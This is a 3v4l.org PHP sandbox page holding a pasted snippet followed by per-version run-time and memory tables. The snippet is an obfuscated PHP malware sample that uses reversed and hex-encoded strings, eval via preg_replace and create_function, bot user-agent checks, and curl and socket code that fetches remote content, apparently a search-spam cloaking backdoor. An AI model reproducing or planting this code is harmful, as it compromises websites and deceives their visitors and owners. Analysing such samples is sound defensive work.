3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo '$w9 ="\x2f\50\x2e\52\x29\57\x65";$v9 = #5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$slv = "\x73\164\x72\162\x65\166";$s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "\x70\162\x65\147\x5f\162\x65\160\x6c\141\x63\145"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i<sizeof($#,#); } create_function("", "};".$#,# = explode("#); $ji9 = "\x2c\40\x24\145\x65\61\x2c\40\x24\163\x39\71\x29\51\x3b"; $s99 = #Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}#;$ll($w9, $syv.#("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M")#.$ji9, NULL);'; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00918.17
8.3.50.0270.00521.89
8.3.40.0090.00618.76
8.3.30.0110.00319.00
8.3.20.0040.00420.34
8.3.10.0040.00423.53
8.3.00.0040.00420.81
8.2.180.0100.01416.50
8.2.170.0120.00622.96
8.2.160.0090.00920.35
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0140.00326.16
8.2.120.0040.00419.24
8.2.110.0000.00922.21
8.2.100.0090.00317.78
8.2.90.0000.00819.05
8.2.80.0080.00017.97
8.2.70.0000.00817.38
8.2.60.0030.00617.92
8.2.50.0030.00618.07
8.2.40.0080.00417.85
8.2.30.0070.00018.00
8.2.20.0070.00417.60
8.2.10.0060.00317.81
8.2.00.0030.00617.56
8.1.280.0070.01125.92
8.1.270.0080.00023.66
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0030.00723.67
8.1.230.0070.00419.08
8.1.220.0040.00417.74
8.1.210.0090.00018.77
8.1.200.0040.00417.23
8.1.190.0080.00017.00
8.1.180.0040.00418.10
8.1.170.0050.00318.65
8.1.160.0040.00421.96
8.1.150.0050.00318.44
8.1.140.0050.00317.21
8.1.130.0000.00817.83
8.1.120.0000.00717.37
8.1.110.0040.00417.34
8.1.100.0030.00317.33
8.1.90.0070.00017.33
8.1.80.0030.00417.31
8.1.70.0030.00317.25
8.1.60.0080.00317.45
8.1.50.0040.00417.42
8.1.40.0000.00817.40
8.1.30.0040.00417.44
8.1.20.0040.00417.52
8.1.10.0030.00517.46
8.1.00.0070.00017.41
8.0.300.0000.00718.77
8.0.290.0000.00816.75
8.0.280.0030.00318.39
8.0.270.0040.00417.20
8.0.260.0030.00317.12
8.0.250.0030.00316.73
8.0.240.0050.00316.77
8.0.230.0000.00716.73
8.0.220.0040.00416.78
8.0.210.0000.00616.74
8.0.200.0060.00016.83
8.0.190.0040.00416.80
8.0.180.0000.00816.74
8.0.170.0030.00516.81
8.0.160.0080.00016.82
8.0.150.0000.00716.67
8.0.140.0060.00316.72
8.0.130.0030.00313.27
8.0.120.0040.00416.67
8.0.110.0040.00416.71
8.0.100.0000.00716.68
8.0.90.0000.00816.82
8.0.80.0150.00616.69
8.0.70.0040.00416.80
8.0.60.0030.00316.62
8.0.50.0000.00816.84
8.0.30.0090.01116.89
8.0.20.0090.01017.40
8.0.10.0040.00416.89
8.0.00.0110.01016.67
7.4.330.0050.00015.00
7.4.320.0030.00316.52
7.4.300.0040.00416.31
7.4.290.0090.00016.36
7.4.280.0000.00916.28
7.4.270.0030.00316.25
7.4.260.0040.00416.46
7.4.250.0040.00416.37
7.4.240.0020.00616.44
7.4.230.0030.00316.55
7.4.220.0030.01316.55
7.4.210.0100.01016.50
7.4.200.0000.00716.59
7.4.160.0120.00616.29
7.4.150.0120.00817.40
7.4.140.0120.00517.86
7.4.130.0140.00516.40
7.4.120.0130.00816.39
7.4.110.0140.00716.52
7.4.100.0070.01416.37
7.4.90.0030.01416.40
7.4.80.0100.01019.39
7.4.70.0040.01216.45
7.4.60.0070.01016.34
7.4.50.0030.00616.34
7.4.40.0070.01016.30
7.4.30.0090.00616.46
7.4.00.0030.00615.07
7.3.330.0000.00612.98
7.3.320.0000.00512.88
7.3.310.0000.00716.20
7.3.300.0000.00715.98
7.3.290.0140.00016.07
7.3.280.0100.00816.16
7.3.270.0190.00017.40
7.3.260.0060.01216.07
7.3.250.0100.00816.24
7.3.240.0140.00716.23
7.3.230.0060.01016.39
7.3.210.0160.00816.35
7.3.200.0070.01119.39
7.3.190.0060.01116.04
7.3.180.0080.00816.55
7.3.170.0130.00316.27
7.3.160.0140.00816.14
7.3.120.0070.01014.86
7.2.330.0100.00716.46
7.2.320.0130.00316.29
7.2.310.0140.00316.29
7.2.300.0030.01416.60
7.2.290.0130.00316.60
7.2.60.0090.00616.34
7.2.00.0040.00818.96
7.1.200.0100.00315.31
7.1.100.0040.01317.85
7.1.70.0000.00817.03
7.1.60.0060.01819.70
7.1.50.0110.01416.78
7.1.00.0100.06722.25
7.0.200.0060.00316.79
7.0.140.0000.07022.21
7.0.60.0070.07719.86
7.0.50.0170.06017.90
7.0.40.0030.09320.07
7.0.30.0630.06020.17
7.0.20.0230.09720.08
7.0.10.0330.07320.19
7.0.00.0100.06719.99
5.6.280.0070.07020.99
5.6.210.0070.07020.76
5.6.200.0000.05718.16
5.6.190.0030.08720.42
5.6.180.0100.06020.61
5.6.170.0300.07720.39
5.6.160.0100.09020.54
5.6.150.0100.07318.24
5.6.140.0070.05318.07
5.6.130.0030.07718.18
5.6.120.0100.04721.04
5.6.110.0100.07321.03
5.6.100.0170.03021.02
5.6.90.0100.05721.13
5.6.80.0100.07320.52
5.6.70.0170.06720.39
5.5.350.0070.07320.38
5.5.340.0070.04317.89
5.5.330.0070.04720.23
5.5.320.0030.05320.28
5.5.310.0170.04020.50
5.5.300.0030.04017.92
5.5.290.0100.08017.95
5.5.280.0070.05020.93
5.5.270.0030.04320.96
5.5.260.0070.03720.96
5.5.250.0130.08020.66
5.5.240.0200.06020.05
5.4.450.0370.04019.25
5.4.440.0300.03719.42
5.4.430.0070.04036.86
5.4.420.0500.04035.93
5.4.410.0170.04735.93
5.4.400.0170.03735.93
5.4.390.0430.03035.93
5.4.380.1070.04018.68
5.4.370.1070.04318.50
5.4.360.0870.05318.70
5.4.350.0770.06018.68
5.4.340.0630.05718.70
5.4.320.0070.03712.46
5.4.310.0100.04612.46
5.4.300.0070.03812.46
5.4.290.0100.03412.46
5.4.280.0110.03212.35
5.4.270.0080.03612.35
5.4.260.0100.03412.36
5.4.250.0090.03812.35
5.4.240.0140.04112.35
5.4.230.0140.05412.33
5.4.220.0120.04312.33
5.4.210.0140.04312.34
5.4.200.0110.04012.33
5.4.190.0090.04512.33
5.4.180.0100.04912.33
5.4.170.0130.04512.34
5.4.160.0170.04112.34
5.4.150.0120.04712.33
5.4.140.0100.04312.02
5.4.130.0150.04812.01
5.4.120.0220.06911.96
5.4.110.0140.05411.96
5.4.100.0110.04311.96
5.4.90.0120.04911.96
5.4.80.0120.04411.96
5.4.70.0130.03911.96
5.4.60.0130.04011.96
5.4.50.0110.04111.95
5.4.40.0110.03911.94
5.4.30.0110.04411.94
5.4.20.0090.04111.95
5.4.10.0110.03811.94
5.4.00.0190.06111.43
5.3.290.0030.04312.80
5.3.280.0140.03912.71
5.3.270.0110.04312.72
5.3.260.0130.04112.71
5.3.250.0130.04312.72
5.3.240.0150.05612.72
5.3.230.0110.04412.71
5.3.220.0140.03912.68
5.3.210.0130.04112.68
5.3.200.0210.05012.68
5.3.190.0110.04612.67
5.3.180.0100.04212.67
5.3.170.0120.04012.67
5.3.160.0120.04512.67
5.3.150.0100.04712.67
5.3.140.0100.04912.66
5.3.130.0190.07512.66
5.3.120.0090.04712.65
5.3.110.0130.04212.66
5.3.100.0140.04612.12
5.3.90.0120.04612.08
5.3.80.0150.04512.08
5.3.70.0110.04012.07
5.3.60.0130.04612.06
5.3.50.0140.04212.00
5.3.40.0120.04912.00
5.3.30.0130.04511.94
5.3.20.0130.05011.71
5.3.10.0130.03911.68
5.3.00.0090.04211.66

preferences:
56.43 ms | 401 KiB | 5 Q